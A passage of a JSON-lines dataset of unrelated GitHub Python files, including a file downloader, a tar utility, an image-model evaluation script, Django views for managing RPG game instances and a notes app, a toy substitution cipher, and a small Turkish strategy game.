'r')\n\n sub_string = '%20'\n\n folder_urls = folder_file.read().split('\\n')\n file_urls = file_file.read().split('\\n')\n file_urls.pop()\n folder_urls.pop()\n\n for j in range(len(file_urls)):\n file_urls[j] = re.sub('\\?a=view$', '', file_urls[j])\n\n for i in file_urls:\n location = find_all(i, sub_string)\n file_names.append(i.replace('%20', ' '))\n file_names[file_urls.index(i)] = re.sub(r'^https://.*?/', '',\n file_names[file_urls.index(i)])\n file_names[file_urls.index(i)] = re.sub(':', '-', file_names[file_urls.index(i)])\n file_names[file_urls.index(i)] = re.sub('\\?', '', file_names[file_urls.index(i)])\n\n for i in folder_urls:\n location = find_all(i, sub_string)\n folder_names.append(i.replace('%20', ' '))\n folder_names[folder_urls.index(i)] = re.sub(r'^https://.*?/',\n '', folder_names[folder_urls.index(i)])\n folder_names[folder_urls.index(i)] = folder_names[folder_urls.index(i)].strip('\\n')\n folder_names[folder_urls.index(i)] = re.sub(':', '-', folder_names[folder_urls.index(i)])\n\n custom_path = input(\n '\\nDefault is the Downloads folder\\n. Do you want to set a custom path for the download?\\n').lower()\n\n if custom_path == 'y':\n while True:\n download_location = input('Enter the location (e.g D:/Games/)\\n')\n if os.path.exists(download_location):\n break\n else:\n print('Enter a VALID path.')\n\n else:\n download_location = get_download_path()\n\n create_directories(folder_names, download_location)\n\n for i in range(len(file_urls)):\n download_files(file_urls[i], os.path.join(download_location, file_names[i]))\n\n retry_number = 0\n index_retry = 0\n while skipped_files:\n for i in skipped_files:\n print(f'\\nskipped files were found, retrying them.')\n print(i)\n download_files(i[0], i[1])\n print(f'retry_number {retry_number}')\n if retry_number > 2:\n print('Some files remain skipped. Something bad must have happened.')\n break\n retry_number += 1\n\n f = open('debug_file.txt', 'w+')\n for i in skipped_files:\n f.write(str(i) + '\\n')\n print('\\nYou can check debug_file.txt for the skipped files\\n')\n","repo_name":"thefixer18/finisherDownloader","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":4426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37159723570","text":"#!/usr/bin/env python\n\nimport subprocess\nimport os\nimport re\nimport argparse\nimport time\n\ntar_dir = \"/tmp\"\ntar_file_name = \"matching\"\n\nif __name__ == \"__main__\":\n\tusage =\"tar-matching [-o file-name]\" \n\tparser = argparse.ArgumentParser(usage = usage, \n\t\t\t\t\t description=\"Parse files matching pattern in directory\")\n\tparser.add_argument(dest=\"directory\", type=str )\n\tparser.add_argument(dest=\"patterns\", type=str, nargs=\"+\")\n\tparser.add_argument(\"-o\",dest=\"out_file\", type=str, default=tar_dir+\"/\"+tar_file_name)\n\tparser.add_argument(\"-t\",dest=\"timestamp\", action=\"store_const\",const=True,default=False)\n\n\targs = parser.parse_args()\n\n\tif not args.directory or not args.patterns:\n\t\targs.print_help()\n\t\texit(1)\n\n\tif not os.path.isdir(str(args.directory)):\n\t\tprint(\"%s is not a direcotry\",args.directory)\n\t\targs.print_help()\n\t\texit(1)\n\n\tdef matches_patterns(patterns, file):\n\t\tfor p in patterns:\n\t\t\tif re.match(p,file):\n\t\t\t\treturn True\n\t\treturn False\n\n\tmatching_files = []\n\tfor file in os.listdir(args.directory):\n\t\tif matches_patterns(args.patterns,file):\n\t\t\tmatching_files.append(file)\n\n\tif args.timestamp:\n\t\targs.out_file+=time.strftime(\"_%Y_%m_%d_%H_%M_%S\",time.gmtime())\n\n\tcmd = [\"tar\", \"cvzf\",args.out_file+\".tar.gz\"] \n\tcmd.extend(matching_files)\n\tsubprocess.call(cmd)\n\n","repo_name":"aakarsh/python-sysadmin-tools","sub_path":"src/match_tar.py","file_name":"match_tar.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26448242940","text":"from os.path import join, basename\nfrom options.errnet.train_options import TrainOptions\nfrom engine import Engine\nfrom data.image_folder import read_fns\nfrom data.transforms import __scale_width\nimport torch.backends.cudnn as cudnn\nimport data.reflect_dataset as datasets\nimport util.util as util\n\n\nopt = TrainOptions().parse()\n\nopt.isTrain = False\ncudnn.benchmark = True\nopt.no_log =True\nopt.display_id=0\nopt.verbose = False\n\ndatadir = '/media/kaixuan/DATA/Papers/Code/Data/Reflection/'\n\n# Define evaluation/test dataset\n\neval_dataset_ceilnet = datasets.CEILTestDataset(join(datadir, 'testdata_CEILNET_table2'))\neval_dataset_sir2 = datasets.CEILTestDataset(join(datadir, 'sir2_withgt'))\n\neval_dataset_real = datasets.CEILTestDataset(\n join(datadir, 'real20'),\n fns=read_fns('real_test.txt'),\n size=20)\n\neval_dataset_postcard = datasets.CEILTestDataset(join(datadir, 'postcard'))\neval_dataset_solidobject = datasets.CEILTestDataset(join(datadir, 'solidobject'))\n\n# test_dataset_internet = datasets.RealDataset(join(datadir, 'internet'))\n# test_dataset_unaligned300 = datasets.RealDataset(join(datadir, 'refined_unaligned_data/unaligned300/blended'))\n# test_dataset_unaligned150 = datasets.RealDataset(join(datadir, 'refined_unaligned_data/unaligned150/blended'))\n# test_dataset_unaligned_dynamic = datasets.RealDataset(join(datadir, 'refined_unaligned_data/unaligned_dynamic/blended'))\n# test_dataset_sir2 = datasets.RealDataset(join(datadir, 'sir2_wogt/blended'))\n\n\neval_dataloader_ceilnet = datasets.DataLoader(\n eval_dataset_ceilnet, batch_size=1, shuffle=False,\n num_workers=opt.nThreads, pin_memory=True)\n\neval_dataloader_real = datasets.DataLoader(\n eval_dataset_real, batch_size=1, shuffle=False,\n num_workers=opt.nThreads, pin_memory=True)\n\neval_dataloader_sir2 = datasets.DataLoader(\n eval_dataset_sir2, batch_size=1, shuffle=False,\n num_workers=opt.nThreads, pin_memory=True)\n\neval_dataloader_solidobject = datasets.DataLoader(\n eval_dataset_solidobject, batch_size=1, shuffle=False,\n num_workers=opt.nThreads, pin_memory=True)\n\neval_dataloader_postcard = datasets.DataLoader(\n eval_dataset_postcard, batch_size=1, shuffle=False,\n num_workers=opt.nThreads, pin_memory=True)\n\n# test_dataloader_internet = datasets.DataLoader(\n# test_dataset_internet, batch_size=1, shuffle=False,\n# num_workers=opt.nThreads, pin_memory=True)\n\n# test_dataloader_sir2 = datasets.DataLoader(\n# test_dataset_sir2, batch_size=1, shuffle=False,\n# num_workers=opt.nThreads, pin_memory=True)\n\n# test_dataloader_unaligned300 = datasets.DataLoader(\n# test_dataset_unaligned300, batch_size=1, shuffle=False,\n# num_workers=opt.nThreads, pin_memory=True)\n\n# test_dataloader_unaligned150 = datasets.DataLoader(\n# test_dataset_unaligned150, batch_size=1, shuffle=False,\n# num_workers=opt.nThreads, pin_memory=True)\n\n# test_dataloader_unaligned_dynamic = datasets.DataLoader(\n# test_dataset_unaligned_dynamic, batch_size=1, shuffle=False,\n# num_workers=opt.nThreads, pin_memory=True)\n\n\nengine = Engine(opt)\n\n\"\"\"Main Loop\"\"\"\nresult_dir = './results'\n\n# evaluate on synthetic test data from CEILNet\nres = engine.eval(eval_dataloader_ceilnet, dataset_name='testdata_table2', savedir=join(result_dir, 'CEILNet_table2'))\n\n# evaluate on four real-world benchmarks\n# res = engine.eval(eval_dataloader_real, dataset_name='testdata_real')\n\n# res = engine.eval(eval_dataloader_real, dataset_name='testdata_real', savedir=join(result_dir, 'real20'))\n# res = engine.eval(eval_dataloader_postcard, dataset_name='testdata_postcard', savedir=join(result_dir, 'postcard'))\n# res = engine.eval(eval_dataloader_sir2, dataset_name='testdata_sir2', savedir=join(result_dir, 'sir2_withgt'))\n# res = engine.eval(eval_dataloader_solidobject, dataset_name='testdata_solidobject', savedir=join(result_dir, 'solidobject'))\n\n# test on our collected unaligned data or internet images\n# res = engine.test(test_dataloader_internet, savedir=join(result_dir, 'internet'))\n# res = engine.test(test_dataloader_unaligned300, savedir=join(result_dir, 'unaligned300'))\n# res = engine.test(test_dataloader_unaligned150, savedir=join(result_dir, 'unaligned150'))\n# res = engine.test(test_dataloader_unaligned_dynamic, savedir=join(result_dir, 'unaligned_dynamic'))\n# res = engine.test(test_dataloader_sir2, savedir=join(result_dir, 'sir2_wogt'))","repo_name":"Vandermode/ERRNet","sub_path":"test_errnet.py","file_name":"test_errnet.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","stars":232,"dataset":"github-code","pt":"62"} +{"seq_id":"35365423466","text":"# -*- coding: utf-8 -*-\n\n\n\nimport sys\nimport os\nfrom datetime import datetime, timedelta\nimport json\nimport traceback\nimport collections\nimport copy\nimport math\nfrom smtplib import SMTPException\nfrom contextlib import contextmanager\n\nfrom django.conf import settings\nfrom django.core.mail import mail_admins, send_mail\nfrom django.http import Http404, HttpResponseRedirect, HttpResponse, \\\n HttpResponseForbidden\nfrom django.shortcuts import render\nfrom django.template import RequestContext\nfrom django.utils.html import escape\nfrom django.contrib import messages\nfrom django.utils.translation import ugettext as _, ugettext_lazy, ungettext\nfrom django import forms\nfrom django.contrib.messages import get_messages\nfrom django.utils.http import urlencode\n\nfrom pychronia_game.common import *\nfrom pychronia_game.datamanager import datamanager_administrator\nfrom pychronia_game.datamanager.datamanager_administrator import GAME_STATUSES\nfrom pychronia_game import authentication\nfrom pychronia_game.utilities import encryption\nfrom pychronia_game.datamanager.abstract_form import SimpleForm\n\n\nclass GameInstanceCreationForm(SimpleForm):\n game_instance_id = forms.SlugField(label=ugettext_lazy(\"Game instance ID (slug)\"), required=True)\n creator_login = forms.CharField(label=ugettext_lazy(\"Creator login\"), required=True)\n creator_email = forms.EmailField(label=ugettext_lazy(\"Creator email\"),\n required=False) # only required for non-superuser\n\n def __init__(self, require_email, *args, **kwargs):\n super(GameInstanceCreationForm, self).__init__(*args, **kwargs)\n assert hasattr(self.fields[\"creator_email\"], \"required\")\n self.fields[\"creator_email\"].required = require_email\n\n\nGAME_INSTANCE_MAINTENANCE_LOCKING_DELAY_MN = 15\n\nGAME_ACTIVATION_EMAIL_SUBJECT = ugettext_lazy(\"New game instance of Chrysalis RPG\")\nGAME_ACTIVATION_EMAIL_BODY_TPL = ugettext_lazy(\"\"\"\\\nDear %(creator_login)s,\n\nhere is the link that will allow you to complete the creation of your Chrysalis game, \\\nand to automatically sign in as the game master.\n\n%(activation_link)s\n\nregards,\nThe Chrysalis Team\n\"\"\")\n\n\ndef compute_game_activation_token(game_instance_id, creator_login, creator_email):\n assert game_instance_id\n assert creator_login\n creator_email = creator_email or \"\"\n activation_data = \"%s|%s|%s\" % (game_instance_id, creator_login, creator_email)\n return encryption.unicode_encrypt(activation_data)\n\n\ndef decode_game_activation_token(activation_token):\n activation_data = encryption.unicode_decrypt(activation_token)\n (game_instance_id, creator_login, creator_email) = activation_data.split(\"|\")\n return (game_instance_id, creator_login, creator_email or None)\n\n\ndef _build_activation_url(**kwargs):\n token = compute_game_activation_token(**kwargs)\n activation_link = config.SITE_DOMAIN + reverse(activate_instance) + \"?\" + urlencode(dict(token=token))\n return activation_link\n\n\n# no authentication!\ndef create_instance(request):\n \"\"\"\n Workflow to create an instance through email validation, for non-superusers.\n \"\"\"\n require_email = True # important\n\n game_creation_form = None\n\n information = _(\n \"Please provide a valid email address, so that we can send you the activation link for your new game. \"\n \"If after several attempts you don't manage to create your game, please contact the game staff. \")\n\n if request.method == \"POST\":\n\n game_creation_form = GameInstanceCreationForm(require_email=require_email, data=request.POST)\n if game_creation_form.is_valid():\n cleaned_data = game_creation_form.cleaned_data\n game_instance_id = cleaned_data[\"game_instance_id\"]\n creator_login = cleaned_data[\"creator_login\"]\n creator_email = cleaned_data[\"creator_email\"] or None\n\n if datamanager_administrator.game_instance_exists(game_instance_id):\n messages.add_message(request, messages.ERROR, _(\"Please choose another game identifier.\"))\n\n else:\n\n activation_link = _build_activation_url(game_instance_id=game_instance_id, creator_login=creator_login,\n creator_email=creator_email)\n\n message = GAME_ACTIVATION_EMAIL_BODY_TPL % locals()\n\n try:\n send_mail(subject=GAME_ACTIVATION_EMAIL_SUBJECT,\n message=message,\n from_email=settings.SERVER_EMAIL,\n recipient_list=[creator_email],\n fail_silently=False)\n except (SMTPException, EnvironmentError) as e:\n logging.error(\"Couldn't send game instance activation email to %s\", creator_email, exc_info=True)\n messages.add_message(request, messages.ERROR, _(\"Couldn't send activation email.\"))\n else:\n messages.add_message(request, messages.INFO, _(\n \"Game instance '%(game_instance_id)s' successfully created for '%(creator_login)s/%(creator_email)s'\") %\n SDICT(game_instance_id=game_instance_id, creator_login=creator_login,\n creator_email=creator_email))\n game_creation_form = None\n information = _(\"The activation email has been sent to %(creator_email)s.\") % SDICT(\n creator_email=creator_email)\n\n if settings.DEBUG and request.GET.get(\n \"_debug_\"): # even if we haven't managed to send the activation email\n information += \" \" + _(\"Debug Information: [%(activation_link)s].\") % SDICT(\n activation_link=activation_link)\n else:\n messages.add_message(request, messages.ERROR, _(\"Invalid game creation form submitted.\"))\n\n return render(request,\n \"meta_administration/create_instance.html\",\n {\n 'notifications': get_messages(request),\n 'game_creation_form': game_creation_form or GameInstanceCreationForm(require_email=require_email),\n 'information': information,\n })\n\n\ndef activate_instance(request):\n token = request.GET.get(\"token\", \"\")\n\n try:\n encrypted_data = token.encode(\n \"ascii\") # encrypted json containing the game id, the user login and a validity timestamp\n (game_instance_id, creator_login, creator_email) = decode_game_activation_token(encrypted_data)\n\n if not datamanager_administrator.game_instance_exists(game_instance_id):\n datamanager_administrator.create_game_instance(game_instance_id=game_instance_id,\n creator_login=creator_login,\n creator_email=creator_email,\n skip_randomizations=False)\n else:\n metadata = datamanager_administrator.get_game_instance_metadata_copy(\n game_instance_id) # shall NOT raise errors\n if (metadata[\"creator_login\"] != creator_login or metadata[\"creator_email\"] != creator_email):\n raise ValueError(\"Creator data doesn't match for game instance %(game_instance_id)s\" % SDICT(\n game_instance_id=game_instance_id))\n\n # we retrieve the datamanager whatever its possible maintenance status\n dm = datamanager_administrator.retrieve_game_instance(game_instance_id, request=None,\n metadata_checker=lambda *args, **kwargs: True)\n master_login = dm.get_global_parameter(\"master_login\")\n\n authentication_token = authentication.compute_enforced_login_token(game_instance_id=game_instance_id,\n login=master_login, is_observer=False)\n session_token_display = urlencode({authentication.ENFORCED_SESSION_TICKET_NAME: authentication_token})\n\n import pychronia_game.views\n target_url = config.SITE_DOMAIN + reverse(pychronia_game.views.homepage,\n kwargs=dict(game_instance_id=game_instance_id,\n game_username=master_login))\n target_url += \"?\" + session_token_display\n\n content = _(\n \"In case you don't get properly redirected, please copy this link into our URL bar: %(target_url)s\") % SDICT(\n target_url=target_url)\n return HttpResponseRedirect(target_url, content=content)\n\n except (ValueError, TypeError, LookupError, AttributeError, UnicodeError) as e:\n logging.warning(\"Game activation key not recognized : %s\", token, exc_info=True)\n return HttpResponseForbidden(_(\"Activation key not recognized\"))\n\n\n@superuser_required\ndef manage_instances(request):\n session_token_display = None\n game_creation_form = None\n require_email = False # superuser does what he wants\n\n try:\n if request.method == \"POST\":\n\n if request.POST.get(\"create_game_instance\"):\n game_creation_form = GameInstanceCreationForm(require_email=require_email, data=request.POST)\n if game_creation_form.is_valid():\n cleaned_data = game_creation_form.cleaned_data\n game_instance_id = cleaned_data[\"game_instance_id\"]\n creator_login = cleaned_data[\"creator_login\"]\n creator_email = cleaned_data[\"creator_email\"] or None\n datamanager_administrator.create_game_instance(game_instance_id=game_instance_id,\n creator_login=creator_login,\n creator_email=creator_email,\n skip_randomizations=False)\n messages.add_message(request, messages.INFO, _(\n \"Game instance '%(game_instance_id)s' successfully created for '%(creator_login)s/%(creator_email)s'\") %\n SDICT(game_instance_id=game_instance_id, creator_login=creator_login,\n creator_email=creator_email))\n game_creation_form = None\n else:\n messages.add_message(request, messages.ERROR, _(\"Invalid game creation form submitted.\"))\n elif request.POST.get(\"lock_instance\"):\n game_instance_id = request.POST[\"lock_instance\"]\n maintenance_until = datetime.utcnow() + timedelta(minutes=GAME_INSTANCE_MAINTENANCE_LOCKING_DELAY_MN)\n datamanager_administrator.change_game_instance_status(game_instance_id=game_instance_id,\n maintenance_until=maintenance_until)\n messages.add_message(request, messages.INFO,\n _(\"Game instance '%(game_instance_id)s' successfully locked\") % SDICT(\n game_instance_id=game_instance_id))\n elif request.POST.get(\"unlock_instance\"):\n game_instance_id = request.POST[\"unlock_instance\"]\n datamanager_administrator.change_game_instance_status(game_instance_id=game_instance_id,\n maintenance_until=None) # removes maintenance\n messages.add_message(request, messages.INFO,\n _(\"Game instance '%(game_instance_id)s' successfully unlocked\") % SDICT(\n game_instance_id=game_instance_id))\n elif request.POST.get(\"change_instance_status\"):\n game_instance_id = request.POST[\"change_instance_status\"]\n new_status = request.POST[\"new_status\"]\n datamanager_administrator.change_game_instance_status(game_instance_id=game_instance_id,\n new_status=new_status) # change status\n messages.add_message(request, messages.INFO, _(\n \"Game instance '%(game_instance_id)s' status changed to '%(new_status)s'\") % SDICT(\n game_instance_id=game_instance_id, new_status=new_status))\n elif request.POST.get(\"delete_game_instance\"):\n game_instance_id = request.POST[\"delete_game_instance\"]\n datamanager_administrator.delete_game_instance(game_instance_id=game_instance_id)\n messages.add_message(request, messages.INFO,\n _(\"Game instance '%(game_instance_id)s' was deleted\") % SDICT(\n game_instance_id=game_instance_id))\n elif request.POST.get(\"backup_game_instance\"):\n game_instance_id = request.POST[\"backup_game_instance\"]\n backup_comment = slugify(request.POST[\"backup_comment\"].strip()) or None\n datamanager_administrator.backup_game_instance_data(game_instance_id=game_instance_id,\n comment=backup_comment)\n messages.add_message(request, messages.INFO, _(\n \"Game instance '%(game_instance_id)s' backup with comment '%(backup_comment)s' done\") %\n SDICT(game_instance_id=game_instance_id,\n backup_comment=(backup_comment or \"\")))\n elif request.POST.get(\"compute_enforced_session_ticket\"):\n game_instance_id = request.POST[\"game_instance_id\"].strip() # manually entered\n login = request.POST[\"login\"].strip()\n is_observer = bool(request.POST.get(\"is_observer\"))\n authentication_token = authentication.compute_enforced_login_token(game_instance_id=game_instance_id,\n login=login, is_observer=is_observer)\n messages.add_message(request, messages.INFO, _(\n \"Auto-connection token for instance=%(game_instance_id)s, login=%(login)s and is_observer=%(is_observer)s is displayed below\") %\n SDICT(game_instance_id=game_instance_id, login=login, is_observer=is_observer))\n session_token_display = urlencode({authentication.ENFORCED_SESSION_TICKET_NAME: authentication_token})\n else:\n raise ValueError(_(\"Unknown admin action\"))\n\n except Exception as e:\n messages.add_message(request, messages.ERROR, _(\"Unexpected error: %s\") % e)\n\n instances_metadata = datamanager_administrator.get_all_instances_metadata()\n\n for _meta in instances_metadata:\n _activation_link = _build_activation_url(game_instance_id=_meta[\"instance_id\"],\n creator_login=_meta[\"creator_login\"],\n creator_email=_meta[\"creator_email\"])\n _meta[\"activation_link\"] = _activation_link\n\n return render(request,\n \"meta_administration/manage_instances.html\",\n {\n 'instances_metadata': instances_metadata, # enriched info\n 'utc_now': datetime.utcnow(),\n 'notifications': get_messages(request),\n 'possible_game_statuses': sorted(GAME_STATUSES),\n 'deletable_statuses': [GAME_STATUSES.terminated, GAME_STATUSES.aborted],\n 'game_creation_form': game_creation_form or GameInstanceCreationForm(require_email=require_email),\n 'session_token_display': session_token_display,\n })\n\n\n@superuser_required\ndef edit_instance_db(request, target_instance_id):\n ## FIXME - add check on game status = maintenance here!!!\n\n special_message = None\n formatted_data = None\n editing_allowed = True\n\n try:\n\n if request.method == \"POST\" and request.POST.get(\"db_content\"):\n\n yaml_input = request.POST[\"db_content\"]\n formatted_data = yaml_input # by default, we redisplay buggy content\n\n dm = datamanager_administrator.retrieve_game_instance(game_instance_id=target_instance_id, request=None,\n metadata_checker=datamanager_administrator.check_game_is_in_maintenance)\n\n try:\n data_tree = dm.load_zope_database_from_string_or_tree(yaml_input) # checks data\n except Exception as e:\n messages.add_message(request, messages.ERROR,\n _(\"Data check error (%(exception)r), see details below.\") % SDICT(exception=e))\n special_message = traceback.format_exc()\n formatted_data = None # we force refresh of data\n else:\n datamanager_administrator.replace_existing_game_instance_data(target_instance_id, new_data=data_tree)\n messages.add_message(request, messages.INFO, _(\"Game instance data was properly replaced.\"))\n\n if not formatted_data: # even if success occurred\n if not special_message:\n special_message = _(\"Current DB content is displayed here for editing.\")\n dm = datamanager_administrator.retrieve_game_instance(game_instance_id=target_instance_id, request=None,\n metadata_checker=datamanager_administrator.check_game_is_in_maintenance)\n formatted_data = dm.dump_zope_database(width=80)\n\n except GameMaintenanceError as e:\n # formatted_data might remain as yaml_input\n messages.add_message(request, messages.ERROR, str(e))\n editing_allowed = False\n special_message = _(\n \"DB modification is now forbidden, please stash your potential modifications elsewhere and begin the process again.\")\n\n return render(request,\n \"meta_administration/edit_instance_db.html\",\n {\n 'target_instance_id': target_instance_id,\n 'special_message': special_message,\n 'editing_allowed': editing_allowed, # FIXME - make it dynamic depending on context - MSG \"\"\n 'formatted_data': formatted_data,\n 'notifications': get_messages(request),\n })\n\n\n'''\ndef lock_and_edit_instance_db(request, game_instance_id):\n \n \n if request.method=POST:\n new_db_json = request.POSt.get(request\n utilities.convert_object_tree(self.data[key], utilities.python_to_zodb_types)\n \n\n \n \n \n formatted_data = request.datamanager.dump_zope_database(width=100)\n '''\n","repo_name":"ChrysalisTeam/pychronia","sub_path":"pychronia_game/meta_administration_views.py","file_name":"meta_administration_views.py","file_ext":"py","file_size_in_byte":19258,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"38043490629","text":"### Modulo de encriptación\r\n\r\n## En este módulo se plantearan 2 funciones, una que encripte y otra que desencripte un mensaje solicitado\r\n## Es decir, una cadena de caracteres.\r\n\r\n# Para esto, aprovecharemos la funcionalidad de los diccionarios.\r\n# Para cada programa, se definirá un diccionario donde se especifiquen los caracteres equivalentes.\r\n\r\n#aca se define la función para encriptar. Dependerá del texto que ingrese el usuario y el diccionario definido.\r\n\r\ndef encriptar_texto(cadena_de_texto, diccionario_encriptado):\r\n cadena_de_texto = cadena_de_texto.lower()\r\n texto_encriptado = \"\" #acá se acumulará el texto que se vaya encriptando\r\n for letra in cadena_de_texto: #para cada letra de la cadena de caracteres...\r\n if letra in diccionario_encriptado: #si esta se encuentra dentro del diccionario definido\r\n texto_encriptado += diccionario_encriptado[letra] #entonces al texto encriptado se le agregará el value asociado a dicha letra\r\n else:\r\n texto_encriptado += letra #Si en algún caso, dicha letra no estuviera en el diccionario, entonces se agrega directamente al cripto.\r\n return texto_encriptado\r\n\r\ndef desencriptar_texto(texto_encriptado, diccionario_encriptado):\r\n desencriptado_diccionario = {}\r\n \r\n for key,value in diccionario_encriptado.items(): #Acá se invierten los valores del diccionario. keys in values, and reverse.\r\n desencriptado_diccionario[value] = key\r\n\r\n texto_desencriptado = \"\" #acá se acumulará el texto desencriptado \r\n for simbolo in texto_encriptado: #para cada símbolo en la cadena de caracteres\r\n if simbolo in desencriptado_diccionario: #si el símbolo está en el diccionario definido\r\n texto_desencriptado += diccionario_encriptado[simbolo] #entonces al texto desencriptado se le agregará el value asociado a dicho simbolo\r\n else:\r\n texto_desencriptado += simbolo #Si en algún caso, dicha letra no estuviera en el diccionario, entonces se agrega directamente al cripto.\r\n return texto_desencriptado","repo_name":"RubenAparicio/Proyecto_2","sub_path":"package_mod/modulo_crypto.py","file_name":"modulo_crypto.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34679551475","text":"import streamlit as st\n\nfrom app.page.securities import SecurityData, SecurityDetail, SecuritySummary\nfrom app.utils import input_symbols\n\ntitle = 'Security Data'\ndescription = 'Demonstrates how to programmatically fetch and display data from Yahoo Finance.'\n\n\ndef render():\n symbols = input_symbols()\n\n st.write('Symbols:', symbols)\n\n data = SecurityData(symbols)\n\n if len(symbols) == 0:\n # Empty list\n return\n\n # Render data visualization and return transformed data\n data_transformed = SecurityDetail(data).render()\n\n df = data_transformed.df # Access to `pd.DataFrame`\n\n st.write(df)\n\n # Retrieve summary of first symbol\n summary = SecuritySummary(symbols[0])\n st.write('Ticker Info:', summary.ticker_info)\n","repo_name":"rvanasa/cu-quants-app","sub_path":"app/topic/securities.py","file_name":"securities.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14683363845","text":"import copy\ndef solve(now:list, sheng: int):\n if sheng == 0:\n global ans, cnt\n anss.append(' '.join(list(map(str, now))))\n cnt = cnt + 1\n return\n if not now:\n begin = n\n else:\n begin = min(sheng, now[-1])\n for i in range(begin, 0, -1):\n new = copy.deepcopy(now)\n new.append(i)\n solve(new, sheng - i)\n\n\nn = int(input())\ncnt = 0\nanss = []\nsolve([], n)\nprint(cnt)\nfor ans in anss:\n print(ans)\n","repo_name":"shinejjy/Algorithm","sub_path":"整数划分问题.py","file_name":"整数划分问题.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29661816629","text":"#투 포인터\ndef solution1(s : list[str]):\n left = 0\n right = len(s)-1\n while left dusman_ordu:\n print(\"Savaşı kazandınız! Zafer kazandınız ve düşman ordusunu geri püskürttünüz.\")\n self.altin += 50\n else:\n print(\"Savaşı kaybettiniz. Düşman ordusu Turan İmparatorluğu'nu istila etti.\")\n self.altin -= 20\n\n def maden_islet(self):\n toplam_maden = random.randint(5, 15)\n print(f\"Toplamda {toplam_maden} ton maden bulundu.\")\n\n self.altin += toplam_maden * 2\n self.toprak -= toplam_maden\n\n def durum_goster(self):\n print(f\"Altın miktarı: {self.altin} birim\")\n print(f\"Ordu sayısı: {self.ordu} asker\")\n print(f\"Toprak miktarı: {self.toprak} birim\")\n\n def oyunu_oyna(self):\n while self.altin > 0 and self.ordu > 0 and self.toprak > 0:\n print(\"\\nTuran İmparatorluğu'na hoş geldiniz!\")\n print(\"1. Savaş\")\n print(\"2. Maden İşlet\")\n print(\"3. Durumu Göster\")\n print(\"4. Çıkış\")\n\n secim = input(\"Yapmak istediğiniz eylemi seçin (1-4): \")\n\n if secim == \"1\":\n self.savas()\n elif secim == \"2\":\n self.maden_islet()\n elif secim == \"3\":\n self.durum_goster()\n elif secim == \"4\":\n print(\"Oyunu bitiriyorsunuz. Güle güle!\")\n break\n else:\n print(\"Geçersiz bir seçim yaptınız. Lütfen tekrar deneyin.\")\n\nif __name__ == \"__main__\":\n turan_oyunu = TuranOyunu()\n turan_oyunu.oyunu_oyna()\n","repo_name":"batuhanyigitt/Python_NLP_RoadMap","sub_path":"exercise45.py","file_name":"exercise45.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12689670440","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by techno at 3/04/19\n\n#Feature: #Enter feature name here\n# Enter feature description here\n\n#Scenario: # Enter scenario name here\n# Enter steps here\n\nimport math\ndef area(r):\n \"\"\" Area of a circle with radius R\"\"\"\n return math.pi * (r**2)\n\nradii=[2,5,7.1,0.3,10]\n\n#method1\nareas = []\nfor i in radii:\n a= area(i)\n areas.append(a)\nprint(areas)\n\n#method2\nprint(list(map(area, radii)))\n\n\n","repo_name":"eltechno/python_course","sub_path":"calculate-aread.py","file_name":"calculate-aread.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"14558010011","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,Http404,HttpResponseRedirect\nfrom . import models\n# Create your views here.\n\ndef check_session(func):\n def login_fun(request, *args, **kwargs):\n if hasattr(request, 'session') and 'userinfo' in request.session:\n return func(request, *args, **kwargs)\n else:\n return Http404\n return login_fun\n\n@check_session\ndef showall(request):\n user_id = request.session['userinfo']['id']\n user = models.User.objects.get(id=user_id)\n notes = models.Note.objects.filter(author=user)\n return render(request, 'note/showall.html', locals())\n\n@check_session\ndef new(request):\n user_id = request.session['userinfo']['id']\n user = models.User.objects.get(id=user_id)\n\n if request.method == 'GET':\n return render(request, 'note/addnote.html')\n elif request.method == 'POST':\n note = models.Note(author=user)\n note.title = request.POST.get('note_title', '')\n note.content = request.POST.get('note_content', '')\n note.save()\n return HttpResponseRedirect('/note/all')\n\n@check_session\ndef delete(request, id):\n user_id = request.session['userinfo']['id']\n user = models.User.objects.get(id=user_id)\n\n try:\n anote = models.Note.objects.get(author=user, id=id)\n anote.delete()\n return HttpResponseRedirect('/note/all')\n except:\n return HttpResponse('删除失败')\n\n@check_session\ndef modify(request, id):\n user_id = request.session['userinfo']['id']\n user = models.User.objects.get(id=user_id)\n\n try:\n note = models.Note.objects.get(author=user, id=id)\n print(\"modify: \", note.id)\n print(\"id: \", id)\n if request.method == 'GET':\n return render(request, 'note/modify.html', locals())\n elif request.method == 'POST':\n try:\n title = request.POST.get('note_title', '')\n content = request.POST.get('note_content', '')\n note.title = title\n note.content = content\n note.save()\n return HttpResponseRedirect('/note/all')\n except:\n return HttpResponse(\"1.修改失败\")\n\n except Exception as e:\n print(\"error:\", e)\n return HttpResponse('2.修改失败')\n","repo_name":"Zoe0313/mycloud_note","sub_path":"note/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41160433980","text":"import os\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nME5_TOKENIZER_PATH = os.getenv(\"ME5_TOKENIZER_PATH\", \"./weight/me5_tokenizer/\")\nME5_MODEL_SMALL_PATH = os.getenv(\"ME5_MODEL_SMALL_PATH\", 